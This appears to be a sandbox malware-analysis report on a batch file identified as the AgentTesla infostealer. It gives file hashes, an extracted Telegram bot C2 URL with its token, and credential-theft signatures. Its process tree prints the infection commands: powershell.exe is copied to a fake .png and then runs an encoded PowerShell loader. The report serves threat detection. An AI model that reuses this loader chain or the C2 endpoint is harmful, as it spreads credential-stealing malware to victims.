Analysis

  • max time kernel
    145s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2023 21:31

General

  • Target

    yy.bat

  • Size

    1017KB

  • MD5

    4d1fe0a1752f2405de5802aef37be7e4

  • SHA1

    7b0f523763798939b510f29437aec76e8bf7388c

  • SHA256

    db20a7e5e6da87473dfd4a71d6e94bc16b116afcdb33b5da67048c31716a926c

  • SHA512

    c74bafb2e8e00563dd00d8255aaeba271b6b361f1a820c2331e48ee07e7ff578ff00a7ed584635033d430f5986a8c2180c8c9f8ada1a073b6cfcc70d1d168e11

  • SSDEEP

    24576:M102QokUMfJmlfdaedmp+hohWzAlXl/Gju:yUy34WnAXn

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6568247464:AAHsSOES5pRueRqAlbG1bx5hx02y4of2d_Q/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\yy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\yy.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo F "
        3⤵
          PID:4996
        • C:\Windows\system32\xcopy.exe
          xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png
          3⤵
            PID:3832
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:3540
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\yy.bat C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png.bat
              3⤵
                PID:1916
              • C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png
                C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png -win 1 -enc JABLAGMAYwB0AHkAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQASwBoAG4AZgBwAHUAdAB2ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEsAYwBjAHQAeQAp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G8AcABqAGIAegBpAHAAeABxACAAPQAgACQATQBsAGQAbABrAGgAZwBqAGIALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABKAG4AaQB2AHcAagBpACAAPQAgACQAQwBvAHAAagBiAHoAaQBwAHgAcQAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                3⤵
                • Executes dropped EXE
                • Accesses Microsoft Outlook profiles
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • outlook_office_path
                • outlook_win_path
                PID:4776

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png

            Filesize

            423KB

            MD5

            c32ca4acfcc635ec1ea6ed8a34df5fac

            SHA1

            f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

            SHA256

            73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

            SHA512

            6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

          • C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png.bat

            Filesize

            1017KB

            MD5

            4d1fe0a1752f2405de5802aef37be7e4

            SHA1

            7b0f523763798939b510f29437aec76e8bf7388c

            SHA256

            db20a7e5e6da87473dfd4a71d6e94bc16b116afcdb33b5da67048c31716a926c

            SHA512

            c74bafb2e8e00563dd00d8255aaeba271b6b361f1a820c2331e48ee07e7ff578ff00a7ed584635033d430f5986a8c2180c8c9f8ada1a073b6cfcc70d1d168e11

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gospn0cv.1mn.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/4776-31-0x0000000006FB0000-0x000000000707A000-memory.dmp

            Filesize

            808KB

          • memory/4776-12-0x0000000004DE0000-0x0000000004E02000-memory.dmp

            Filesize

            136KB

          • memory/4776-33-0x0000000007200000-0x0000000007266000-memory.dmp

            Filesize

            408KB

          • memory/4776-13-0x0000000004E80000-0x0000000004EE6000-memory.dmp

            Filesize

            408KB

          • memory/4776-10-0x0000000002820000-0x0000000002856000-memory.dmp

            Filesize

            216KB

          • memory/4776-19-0x00000000055B0000-0x0000000005616000-memory.dmp

            Filesize

            408KB

          • memory/4776-24-0x0000000005940000-0x0000000005C94000-memory.dmp

            Filesize

            3.3MB

          • memory/4776-25-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

            Filesize

            120KB

          • memory/4776-26-0x0000000005DF0000-0x0000000005E3C000-memory.dmp

            Filesize

            304KB

          • memory/4776-9-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-28-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-29-0x0000000007430000-0x0000000007AAA000-memory.dmp

            Filesize

            6.5MB

          • memory/4776-30-0x00000000062F0000-0x000000000630A000-memory.dmp

            Filesize

            104KB

          • memory/4776-8-0x0000000075390000-0x0000000075B40000-memory.dmp

            Filesize

            7.7MB

          • memory/4776-48-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-11-0x0000000004F80000-0x00000000055A8000-memory.dmp

            Filesize

            6.2MB

          • memory/4776-35-0x0000000007290000-0x00000000072D5000-memory.dmp

            Filesize

            276KB

          • memory/4776-36-0x0000000007360000-0x00000000073A2000-memory.dmp

            Filesize

            264KB

          • memory/4776-37-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-38-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-40-0x0000000075390000-0x0000000075B40000-memory.dmp

            Filesize

            7.7MB

          • memory/4776-39-0x0000000008060000-0x0000000008604000-memory.dmp

            Filesize

            5.6MB

          • memory/4776-41-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-42-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-43-0x0000000007F60000-0x0000000007FB0000-memory.dmp

            Filesize

            320KB

          • memory/4776-44-0x0000000008610000-0x00000000086A2000-memory.dmp

            Filesize

            584KB

          • memory/4776-45-0x0000000008000000-0x000000000800A000-memory.dmp

            Filesize

            40KB

          • memory/4776-46-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-47-0x00000000028B0000-0x00000000028C0000-memory.dmp

            Filesize

            64KB

          • memory/4776-32-0x0000000007080000-0x00000000070FA000-memory.dmp

            Filesize

            488KB